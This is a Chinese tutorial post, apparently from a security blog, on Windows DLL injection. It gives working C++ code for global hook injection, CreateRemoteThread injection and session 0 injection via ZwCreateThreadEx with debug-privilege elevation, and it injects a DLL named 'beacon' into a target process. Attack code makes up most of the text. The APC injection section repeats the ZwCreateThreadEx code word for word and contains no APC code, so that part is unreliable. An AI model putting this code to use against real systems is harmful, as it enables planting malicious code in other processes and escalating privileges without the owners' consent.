|
原文链接:Dll注入
最近太忙啦XDM,又在做一些列的分析复现工作量有点大,更新要慢一点了。
参考
https://xz.aliyun.com/t/10318本人C++才入门,所以代码均来源参考文章,然后按照实际情况做了修改。简介
- 每个进程在运行过程中,都有一个和其他进程独立的相对空间,在这个空间里,进程相当于拥有所有
- 权限。但是进程只能修改自己这个空间里的地址数据信息,和其他进程互相不干扰(就算相对地址
- 一致,也不会覆盖其他的进程信息。)
- DLL注入技术,一般来讲是向一个正在运行的进程插入/注入代码的过程。我们注入的代码以动态链
- 接库(DLL)的形式存在。DLL文件在运行时将按需加载。就是类似一个程序A,强行加入了一个程序
- B需要的dll,并执行了dll里面的代码。而dll有程序B拥有,所以程序B拥有对程序A的控制权限。以
- 下情况可能对存在注入场景1.为目标进程添加新的“实用”功能;
- 2.需要一些手段来辅助调试被注入dll的进程;
- 3.为目标进程安装钩子程序(API Hook);
复制代码
钩子简介- HOOK,是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消
- 息,而且所监视的窗口可以是其他进程所创建的。当消息到达后,在目标窗口过程之前处理它。钩
- 子机制允许应用程序截获并处理window消息或特定事件。
- HOOK实际上是一个处理消息的程序段,通过系统调用,把它挂入系统。每当特定的消息发出,在没
- 有到达目的窗口前,钩子程序就先捕获该消息,亦即钩子函数先得到控制权。这时钩子函数即可以
- 加工处理(改变)该消息,也可以不作处理而继续传递该消息,还可以强制结束消息的传递。
- 简单来讲,消息发生的时候,由钩子先捕捉到,进行加工处理。其中的回调函数,就是我们钩子对
- 消息的处理函数。我们可以自定义一个钩子,监控系统中的消息。其中拦截单个进程的叫线程
- 钩子,拦截全局的叫系统钩子。
复制代码
全局钩子注入
- 首先要知道,在windows的应用中很多都是消息机制。消息机制就是如下机制。
- 我们都是通过 API 函数来调用系统功能,让操作系统来帮我们完成很多工作,例如调用
- CreateFile() 函数,操作系统会帮我们创建一个文件,而不需要我们参与任何工作,非常方便。
- 事件:类似敲击键盘等操作。
- 队列:存放消息(先进先出)
- 消息:事件发生时发送消息。
- 简单来理解:当用户敲击键盘,此时程序发出一个消息,存放在队列中,供应用程序来读取。
- 事件和消息同步。有事件就会发送消息。然后应用程序去依次调用。
- 这也就是消息机制。
- windows通过钩子机制来截获和监视系统中的这些消息。一般钩子分局部钩子与全局钩子,局部钩子
- 一般用于某个线程,而全局钩子一般通过dll文件实现相应的钩子函数。
复制代码
SetWindowsHookEx
- 这是用来设置钩子的函数。
- HHOOK WINAPI SetWindowsHookEx(
- _In_ int idHook, // 安装的钩子类型
- _In_ HOOKPROC lpfn, // 处理消息的回调函数
- _In_ HINSTANCE hMod, // 当前实例句柄
- _In_ DWORD dwThreadId // 线程ID
- );
- 来试想一下,如果钩子函数在其他进程中独有实现,在运行过程中,进程B想要去调用这个钩子函数
- 是完全不可能的,因为他们处于不同的空间。所以调用方式应当是写在一个Dll中,当谁需要的时
- 候,谁就去调用。当一个程序接收到了消息,此时操作系统就将全局钩子加入到这个进程中,去对
- 消息进行处理。所以如果我们控制了钩子函数的dll,然后输入恶意代码,当有消息时,dll被加
- 载,恶意代码执行。
- WH_GETMESSAGE 钩子类型,可以监听全局消息
- GetMsgProc 回调函数 在消息到达的时候对消息进行处理
- UnhookWindowsHookEx 卸载钩子
- SetWindowsHookEx 安装钩子
复制代码
代码实现
- #include "pch.h"
- #include <windows.h>
- #include <stdio.h>
- #include<stdlib.h>
- extern HMODULE g_hDllModule; //定义的外部变量
- extern "C" _declspec(dllexport) int SetHook();
- extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
- extern "C" _declspec(dllexport) BOOL UnsetHook();
- // 定义了一个可以进程共享的数据段
- #pragma data_seg("mydata")
- HHOOK g_hHook = NULL;
- #pragma data_seg()
- //设置定义的数据段具有读,写,共享的属性
- #pragma comment(linker, "/SECTION:mydata,RWS")
- //钩子回调函数
- LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) {
- return ::CallNextHookEx(g_hHook, code, wParam, lParam); //将消息传递给g_hHook钩子进行处理
- }
- // 设置钩子
- BOOL SetHook() {
- g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0);//设置了一个windows全局消息拦截钩子
- if (NULL == g_hHook) {
- return FALSE;
- }
- return TRUE;
- }
- // 卸载钩子
- BOOL UnsetHook() {
- if (g_hHook) {
- UnhookWindowsHookEx(g_hHook);//当没有设置使用钩子的时候,就卸载g_hHook钩子。
- }
- return TRUE;
- }
- //主函数
- HMODULE g_hDllModule = NULL;
- BOOL APIENTRY DllMain(HMODULE hModule,
- DWORD ul_reason_for_call,
- LPVOID lpReserved
- )
- {
- switch (ul_reason_for_call)
- {
- case DLL_PROCESS_ATTACH:
- {
- g_hDllModule = hModule;
- system("calc");
- break;
- }
- case DLL_THREAD_ATTACH:
- case DLL_THREAD_DETACH:
- case DLL_PROCESS_DETACH:
- break;
- }
- return TRUE;
- }
- //稍微说一下逻辑,做了一个钩子的安装,实现回调函数,然后卸载功能,当dll加载的时候,就生成一个句柄来获取当前dll句柄。
- #include<stdio.h>
- #include<stdlib.h>
- #include<windows.h> // 必须包含 windows.h
- int main()
- {
- typedef BOOL(*typedef_SetGlobalHook)(); //定义一个符号typedef_SetGlobalHook是一个函数指针,函数返回值为BOOL类型。
- typedef BOOL(*typedef_UnsetGlobalHook)();//定义一个符号typedef_UnsetGlobalHook是一个函数指针,函数返回值为BOOL类型。
- HMODULE hDll = NULL; //定义一个模块句柄
- typedef_SetGlobalHook SetGlobalHook = NULL;
- typedef_UnsetGlobalHook UnsetGlobalHook = NULL;
- BOOL bRet = FALSE;
- do
- {
- hDll = ::LoadLibraryW(TEXT("DLL2.dll")); //加载Dll2.dll
- if (NULL == hDll)
- {
- printf("LoadLibrary Error[%d]\n", ::GetLastError());//加载失败的话,返回加载失败的错误数值
- break;
- }
- SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook");//获取Dll中的SetHook函数
- if (NULL == SetGlobalHook)
- {
- printf("GetProcAddress Error[%d]\n", ::GetLastError());//获取失败的话,返回错误的数值
- break;
- }
- bRet = SetGlobalHook();
- if (bRet)
- {
- printf("SetGlobalHook OK.\n");
- }
- else
- {
- printf("SetGlobalHook ERROR.\n");
- }
- system("pause");
- UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook");//获取UnsetHook函数
- if (NULL == UnsetGlobalHook)
- {
- printf("GetProcAddress Error[%d]\n", ::GetLastError());
- break;
- }
- UnsetGlobalHook();
- printf("UnsetGlobalHook OK.\n");
- } while (FALSE);
- system("pause");
- return 0;
- }
- //代码可以直接用之前的代码注入实现(有点类似劫持了),这里我们做的hook,就借用茶寂messi996师傅的代码实现吧,才做C++自己写有点费时间。但是每一句代码肯定还是要理解清楚的。
复制代码
 
 
后续再多研究看看,这种注入感觉很类似劫持。远程线程注入指一个进程在另一个进程中创建线程。
- CreateRemoteThread
- HANDLE CreateRemoteThread(
- HANDLE hProcess,
- LPSECURITY_ATTRIBUTES lpThreadAttributes,
- SIZE_T dwStackSize,
- LPTHREAD_START_ROUTINE lpStartAddress,
- LPVOID lpParameter,
- DWORD dwCreationFlags,
- LPDWORD lpThreadId
- );
- VirtualAllocEx
- 指定进程的虚拟空间保留或提交内存区域
- LPVOID VirtualAllocEx(
- HANDLE hProcess,
- LPVOID lpAddress,
- SIZE_T dwSize,
- DWORD flAllocationType,
- DWORD flProtect
- );
- WriteProcessMemory
- 此函数能写入某一进程的内存区域(直接写入会出Access Violation错误),故需此函数入口区必须可以访问,否则操作将失败。
- BOOL WriteProcessMemory(
- HANDLE hProcess, //进程句柄
- LPVOID lpBaseAddress, //写入的内存首地址
- LPCVOID lpBuffer, //要写数据的指针
- SIZE_T nSize, //x
- SIZE_T *lpNumberOfBytesWritten
- );
复制代码
实现原理- 使用CreateRemoteThread这个API,首先使用CreateToolhelp32Snapshot拍摄快照获取pid,然后使
- 用Openprocess打开进程,使用VirtualAllocEx远程申请空间,使用WriteProcessMemory写入数据,
- 再用GetProcAddress获取LoadLibraryW的地址。在注入进程中创建线程(CreateRemoteThread)。关
- 于系统dll,简单来理解就是每次windows启动的时候,可能dll的基址会发生变化,但是启动以后就
- 不会改变了,固定了。所以要调用这些系统dll的进程只需要访问同一个基址(系统dll的基址就行
- 了。)
复制代码
代码
(1)主注入程序
- #include <iostream>
- #include <windows.h>
- #include <TlHelp32.h>
- #include "tchar.h"
- char string_inject[] = "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\dll";
- //通过进程快照获取PID
- DWORD _GetProcessPID(LPCTSTR lpProcessName) //定义了一个类似数组的LPCTSTR类型
- {
- DWORD Ret = 0;
- PROCESSENTRY32 p32; //用来存放快照进程的结构体。
- HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //定义了一个句柄,其中CreateToolhelp32Snapshot()代表获取了系统快照,类型为TH32CS_SNAPPROCESS,代表获取了系统所有进程。
- if (lpSnapshot == INVALID_HANDLE_VALUE)
- {
- printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
- return Ret;
- }
- p32.dwSize = sizeof(PROCESSENTRY32);
- ::Process32First(lpSnapshot, &p32);//进程获取函数,参数1位快照句柄,参数2位需要放置的结构体
- do {
- if (!lstrcmp(p32.szExeFile, lpProcessName))//通过循环遍历所有进程id,进行判断进程可执行文件名和传入的进程名,如果相同,就获取他的进程id
- {
- Ret = p32.th32ProcessID;
- break;
- }
- } while (::Process32Next(lpSnapshot, &p32));
- ::CloseHandle(lpSnapshot);//关闭一个快照
- return Ret;//返回进程id
- }
- //打开一个进程并为其创建一个线程
- DWORD _RemoteThreadInject(DWORD _Pid, LPCWSTR DllName)
- {
- //打开进程
- HANDLE hprocess;
- HANDLE hThread;
- DWORD _Size = 0;
- BOOL Write = 0;
- LPVOID pAllocMemory = NULL;
- DWORD DllAddr = 0;
- FARPROC pThread;
- hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid); //打开一个进程并获取他的所有权限
- //Size = sizeof(string_inject);
- _Size = (_tcslen(DllName) + 1) * sizeof(TCHAR);//_tcslen 求长度 这里应该是需要申请的内存空间大小
- //远程申请空间
- pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE); //申请内存空间
- if (pAllocMemory == NULL)
- {
- printf("VirtualAllocEx - Error!");
- return FALSE;
- }
- // 写入内存
- Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL); //写入内存中去,Dllname是要写的数据的指针
- if (Write == FALSE)
- {
- printf("WriteProcessMemory - Error!");
- return FALSE;
- }
- //获取LoadLibrary的地址
- pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");//获取DLL的输出函数的地址,这里能发现LoadLibraryW在kernel32.dll这个系统dll中。
- LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
- //在另一个进程中创建线程
- hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);//在我们传入的进程中创建线程
- if (hThread == NULL)
- {
- printf("CreateRemoteThread - Error!");
- return FALSE;
- }
- //等待线程函数结束,获得退出码
- WaitForSingleObject(hThread, -1);//检测线程的对象状态
- GetExitCodeThread(hThread, &DllAddr);//获取退出码
- //释放DLL空间
- VirtualFreeEx(hprocess, pAllocMemory, _Size, MEM_DECOMMIT);
- //关闭线程句柄
- ::CloseHandle(hprocess);
- return TRUE;
- }
- int main()
- {
- DWORD PID = _GetProcessPID(L"test.exe");
- _RemoteThreadInject(PID, L"C:\\Users\\e0mlja\\Desktop\\DLL\\Dll2\\Debug\\dll");
- }
复制代码
(2)被注入程序(默认生成未改动)- // test.cpp : 定义应用程序的入口点。
- //
- #include "framework.h"
- #include "test.h"
- #define MAX_LOADSTRING 100
- // 全局变量:
- HINSTANCE hInst; // 当前实例
- WCHAR szTitle[MAX_LOADSTRING]; // 标题栏文本
- WCHAR szWindowClass[MAX_LOADSTRING]; // 主窗口类名
- // 此代码模块中包含的函数的前向声明:
- ATOM MyRegisterClass(HINSTANCE hInstance);
- BOOL InitInstance(HINSTANCE, int);
- LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);
- INT_PTR CALLBACK About(HWND, UINT, WPARAM, LPARAM);
- int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
- _In_opt_ HINSTANCE hPrevInstance,
- _In_ LPWSTR lpCmdLine,
- _In_ int nCmdShow)
- {
- UNREFERENCED_PARAMETER(hPrevInstance);
- UNREFERENCED_PARAMETER(lpCmdLine);
- // TODO: 在此处放置代码。
- // 初始化全局字符串
- LoadStringW(hInstance, IDS_APP_TITLE, szTitle, MAX_LOADSTRING);
- LoadStringW(hInstance, IDC_TEST, szWindowClass, MAX_LOADSTRING);
- MyRegisterClass(hInstance);
- // 执行应用程序初始化:
- if (!InitInstance (hInstance, nCmdShow))
- {
- return FALSE;
- }
- HACCEL hAccelTable = LoadAccelerators(hInstance, MAKEINTRESOURCE(IDC_TEST));
- MSG msg;
- // 主消息循环:
- while (GetMessage(&msg, nullptr, 0, 0))
- {
- if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
- {
- TranslateMessage(&msg);
- DispatchMessage(&msg);
- }
- }
- return (int) msg.wParam;
- }
- //
- // 函数: MyRegisterClass()
- //
- // 目标: 注册窗口类。
- //
- ATOM MyRegisterClass(HINSTANCE hInstance)
- {
- WNDCLASSEXW wcex;
- wcex.cbSize = sizeof(WNDCLASSEX);
- wcex.style = CS_HREDRAW | CS_VREDRAW;
- wcex.lpfnWndProc = WndProc;
- wcex.cbClsExtra = 0;
- wcex.cbWndExtra = 0;
- wcex.hInstance = hInstance;
- wcex.hIcon = LoadIcon(hInstance, MAKEINTRESOURCE(IDI_TEST));
- wcex.hCursor = LoadCursor(nullptr, IDC_ARROW);
- wcex.hbrBackground = (HBRUSH)(COLOR_WINDOW+1);
- wcex.lpszMenuName = MAKEINTRESOURCEW(IDC_TEST);
- wcex.lpszClassName = szWindowClass;
- wcex.hIconSm = LoadIcon(wcex.hInstance, MAKEINTRESOURCE(IDI_SMALL));
- return RegisterClassExW(&wcex);
- }
- //
- // 函数: InitInstance(HINSTANCE, int)
- //
- // 目标: 保存实例句柄并创建主窗口
- //
- // 注释:
- //
- // 在此函数中,我们在全局变量中保存实例句柄并
- // 创建和显示主程序窗口。
- //
- BOOL InitInstance(HINSTANCE hInstance, int nCmdShow)
- {
- hInst = hInstance; // 将实例句柄存储在全局变量中
- HWND hWnd = CreateWindowW(szWindowClass, szTitle, WS_OVERLAPPEDWINDOW,
- CW_USEDEFAULT, 0, CW_USEDEFAULT, 0, nullptr, nullptr, hInstance, nullptr);
- if (!hWnd)
- {
- return FALSE;
- }
- ShowWindow(hWnd, nCmdShow);
- UpdateWindow(hWnd);
- return TRUE;
- }
- //
- // 函数: WndProc(HWND, UINT, WPARAM, LPARAM)
- //
- // 目标: 处理主窗口的消息。
- //
- // WM_COMMAND - 处理应用程序菜单
- // WM_PAINT - 绘制主窗口
- // WM_DESTROY - 发送退出消息并返回
- //
- //
- LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
- {
- switch (message)
- {
- case WM_COMMAND:
- {
- int wmId = LOWORD(wParam);
- // 分析菜单选择:
- switch (wmId)
- {
- case IDM_ABOUT:
- DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About);
- break;
- case IDM_EXIT:
- DestroyWindow(hWnd);
- break;
- default:
- return DefWindowProc(hWnd, message, wParam, lParam);
- }
- }
- break;
- case WM_PAINT:
- {
- PAINTSTRUCT ps;
- HDC hdc = BeginPaint(hWnd, &ps);
- // TODO: 在此处添加使用 hdc 的任何绘图代码...
- EndPaint(hWnd, &ps);
- }
- break;
- case WM_DESTROY:
- PostQuitMessage(0);
- break;
- default:
- return DefWindowProc(hWnd, message, wParam, lParam);
- }
- return 0;
- }
- // “关于”框的消息处理程序。
- INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam)
- {
- UNREFERENCED_PARAMETER(lParam);
- switch (message)
- {
- case WM_INITDIALOG:
- return (INT_PTR)TRUE;
- case WM_COMMAND:
- if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
- {
- EndDialog(hDlg, LOWORD(wParam));
- return (INT_PTR)TRUE;
- }
- break;
- }
- return (INT_PTR)FALSE;
- }
复制代码
能够看到,在test.exe中注入了我们的恶意程序。 
突破session 0的远程线程注入- Intel的CPU将特权级别分为4个级别:RING0,RING1,RING2,RING3。Windows只使用其中的两个级别
- RING0和RING3,RING0只给操作系统用,RING3谁都能用。如果普通应用程序企图执行RING0指令,
- 则Windows会显示“非法指令”错误信息。
- 简单来说 ring3是用户层,ring0的防护最高级。属于到内核中去了。注入也是注入到内核中
- ZwCreateThreadEx 也是创建线程,但是比CreateRemoteThread更底层,可以注入到内核层
- OpenProcessToken 打开与进程相关的访问令牌
- LookupPrivilegeValueA 查看系统权限的特权值
- AdjustTokenPrivileges 判断进程的权限
- //后面三个函数主要用来提权
复制代码
代码
- // session0Inject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
- //
- #include <Windows.h>
- #include <stdio.h>
- #include <iostream>
- void ShowError(const char* pszText)
- {
- char szError[MAX_PATH] = { 0 };
- ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
- ::MessageBox(NULL, szError, "ERROR", MB_OK);
- }
- // 提权函数
- BOOL EnableDebugPrivilege()
- {
- HANDLE hToken;
- BOOL fOk = FALSE;
- if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
- {
- TOKEN_PRIVILEGES tp;
- tp.PrivilegeCount = 1;
- LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
- tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
- AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
- fOk = (GetLastError() == ERROR_SUCCESS);
- CloseHandle(hToken);
- }
- return fOk;
- }
- // 使用 ZwCreateThreadEx 实现远线程注入
- BOOL ZwCreateThreadExInjectDll(DWORD PID, const char* pszDllFileName)
- {
- HANDLE hProcess = NULL;
- SIZE_T dwSize = 0;
- LPVOID pDllAddr = NULL;
- FARPROC pFuncProcAddr = NULL;
- HANDLE hRemoteThread = NULL;
- DWORD dwStatus = 0;
- EnableDebugPrivilege();
- // 打开注入进程,获取进程句柄
- hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
- if (hProcess == NULL)
- {
- printf("OpenProcess - Error!\n\n");
- return -1;
- }
- // 在注入的进程申请内存地址
- dwSize = ::lstrlen(pszDllFileName) + 1;
- pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
- if (NULL == pDllAddr)
- {
- ShowError("VirtualAllocEx - Error!\n\n");
- return FALSE;
- }
- //写入内存地址
- if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
- {
- ShowError("WriteProcessMemory - Error!\n\n");
- return FALSE;
- }
- //加载ntdll
- HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
- if (NULL == hNtdllDll)
- {
- ShowError("LoadLirbary");
- return FALSE;
- }
- // 获取LoadLibraryA函数地址
- pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
- if (NULL == pFuncProcAddr)
- {
- ShowError("GetProcAddress_LoadLibraryA - Error!\n\n");
- return FALSE;
- }
- #ifdef _WIN64
- typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
- PHANDLE ThreadHandle,
- ACCESS_MASK DesiredAccess,
- LPVOID ObjectAttributes,
- HANDLE ProcessHandle,
- LPTHREAD_START_ROUTINE lpStartAddress,
- LPVOID lpParameter,
- ULONG CreateThreadFlags,
- SIZE_T ZeroBits,
- SIZE_T StackSize,
- SIZE_T MaximumStackSize,
- LPVOID pUnkown);
- #else
- typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
- PHANDLE ThreadHandle,
- ACCESS_MASK DesiredAccess,
- LPVOID ObjectAttributes,
- HANDLE ProcessHandle,
- LPTHREAD_START_ROUTINE lpStartAddress,
- LPVOID lpParameter,
- BOOL CreateSuspended,
- DWORD dwStackSize,
- DWORD dw1,
- DWORD dw2,
- LPVOID pUnkown);
- #endif
- //获取ZwCreateThreadEx函数地址
- typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
- if (NULL == ZwCreateThreadEx)
- {
- ShowError("GetProcAddress_ZwCreateThread - Error!\n\n");
- return FALSE;
- }
- // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
- dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
- if (NULL == ZwCreateThreadEx)
- {
- ShowError("ZwCreateThreadEx - Error!\n\n");
- return FALSE;
- }
- // 关闭句柄
- ::CloseHandle(hProcess);
- ::FreeLibrary(hNtdllDll);
- return TRUE;
- }
- int main(int argc, char* argv[])
- {
- #ifdef _WIN64
- BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");
- #else
- BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");
- #endif
- if (FALSE == bRet)
- {
- printf("Inject Dll Error!\n\n");
- }
- printf("Inject Dll OK!\n\n");
- return 0;
- }
复制代码
 
APC注入- APC,全称为Asynchronous Procedure Call,即异步过程调用,是指函数在特定线程中被异步执行,在操作系统中,APC是一种并发机制。
- QueueUserApc 添加制定的异步函数调用(回调函数)到执行的线程的APC队列中
- APCproc 回调函数
- 往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数,
- APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC。
复制代码
原理
- 在 Windows系统中,每个线程都会维护一个线程 APC队列,通过QucueUserAPC把一个APC 函数添加到
- 指定线程的APC队列中。每个线程都有自己的APC队列,这个 APC队列记录了要求线程执行的一些APC
- 函数。Windows系统会发出一个软中断去执行这些APC 函数,对于用户模式下的APC 队列,当线程处
- 在可警告状态时才会执行这些APC 函数。一个线程在内部使用SignalObjectAndWait 、 SleepEx、
- WaitForSingleObjectEx、WaitForMultipleObjectsEx等函数把自己挂起时就是进入可警告状态,此
- 时便会执行APC队列函数。
- 简单来说,每个线程都有一个APC队列,里面放了一些APC函数。一定情况下这些APC函数会被执行。
- 1)当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中
- 断(或者是Messagebox弹窗的时候不点OK的时候也能注入)。
- 2)当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数。
- 3)利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插入
- 的是Loadlibrary()执行函数的话,就能达到注入DLL的目的。
- 条件
- 1.必须是多线程环境下
- 2.注入的程序必须会调用那些同步对象
复制代码
代码
- // session0Inject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
- //
- #include <Windows.h>
- #include <stdio.h>
- #include <iostream>
- void ShowError(const char* pszText)
- {
- char szError[MAX_PATH] = { 0 };
- ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
- ::MessageBox(NULL, szError, "ERROR", MB_OK);
- }
- // 提权函数
- BOOL EnableDebugPrivilege()
- {
- HANDLE hToken;
- BOOL fOk = FALSE;
- if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
- {
- TOKEN_PRIVILEGES tp;
- tp.PrivilegeCount = 1;
- LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
- tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
- AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
- fOk = (GetLastError() == ERROR_SUCCESS);
- CloseHandle(hToken);
- }
- return fOk;
- }
- // 使用 ZwCreateThreadEx 实现远线程注入
- BOOL ZwCreateThreadExInjectDll(DWORD PID, const char* pszDllFileName)
- {
- HANDLE hProcess = NULL;
- SIZE_T dwSize = 0;
- LPVOID pDllAddr = NULL;
- FARPROC pFuncProcAddr = NULL;
- HANDLE hRemoteThread = NULL;
- DWORD dwStatus = 0;
- EnableDebugPrivilege();
- // 打开注入进程,获取进程句柄
- hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
- if (hProcess == NULL)
- {
- printf("OpenProcess - Error!\n\n");
- return -1;
- }
- // 在注入的进程申请内存地址
- dwSize = ::lstrlen(pszDllFileName) + 1;
- pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
- if (NULL == pDllAddr)
- {
- ShowError("VirtualAllocEx - Error!\n\n");
- return FALSE;
- }
- //写入内存地址
- if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
- {
- ShowError("WriteProcessMemory - Error!\n\n");
- return FALSE;
- }
- //加载ntdll
- HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
- if (NULL == hNtdllDll)
- {
- ShowError("LoadLirbary");
- return FALSE;
- }
- // 获取LoadLibraryA函数地址
- pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
- if (NULL == pFuncProcAddr)
- {
- ShowError("GetProcAddress_LoadLibraryA - Error!\n\n");
- return FALSE;
- }
- #ifdef _WIN64
- typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
- PHANDLE ThreadHandle,
- ACCESS_MASK DesiredAccess,
- LPVOID ObjectAttributes,
- HANDLE ProcessHandle,
- LPTHREAD_START_ROUTINE lpStartAddress,
- LPVOID lpParameter,
- ULONG CreateThreadFlags,
- SIZE_T ZeroBits,
- SIZE_T StackSize,
- SIZE_T MaximumStackSize,
- LPVOID pUnkown);
- #else
- typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
- PHANDLE ThreadHandle,
- ACCESS_MASK DesiredAccess,
- LPVOID ObjectAttributes,
- HANDLE ProcessHandle,
- LPTHREAD_START_ROUTINE lpStartAddress,
- LPVOID lpParameter,
- BOOL CreateSuspended,
- DWORD dwStackSize,
- DWORD dw1,
- DWORD dw2,
- LPVOID pUnkown);
- #endif
- //获取ZwCreateThreadEx函数地址
- typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
- if (NULL == ZwCreateThreadEx)
- {
- ShowError("GetProcAddress_ZwCreateThread - Error!\n\n");
- return FALSE;
- }
- // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
- dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
- if (NULL == ZwCreateThreadEx)
- {
- ShowError("ZwCreateThreadEx - Error!\n\n");
- return FALSE;
- }
- // 关闭句柄
- ::CloseHandle(hProcess);
- ::FreeLibrary(hNtdllDll);
- return TRUE;
- }
- int main(int argc, char* argv[])
- {
- #ifdef _WIN64
- BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");
- #else
- BOOL bRet = ZwCreateThreadExInjectDll(12220, "C:\\Users\\yzc\\Desktop\\DLL\\Dll2\\Debug\\beacon");
- #endif
- if (FALSE == bRet)
- {
- printf("Inject Dll Error!\n\n");
- }
- printf("Inject Dll OK!\n\n");
- return 0;
- }
复制代码
|
|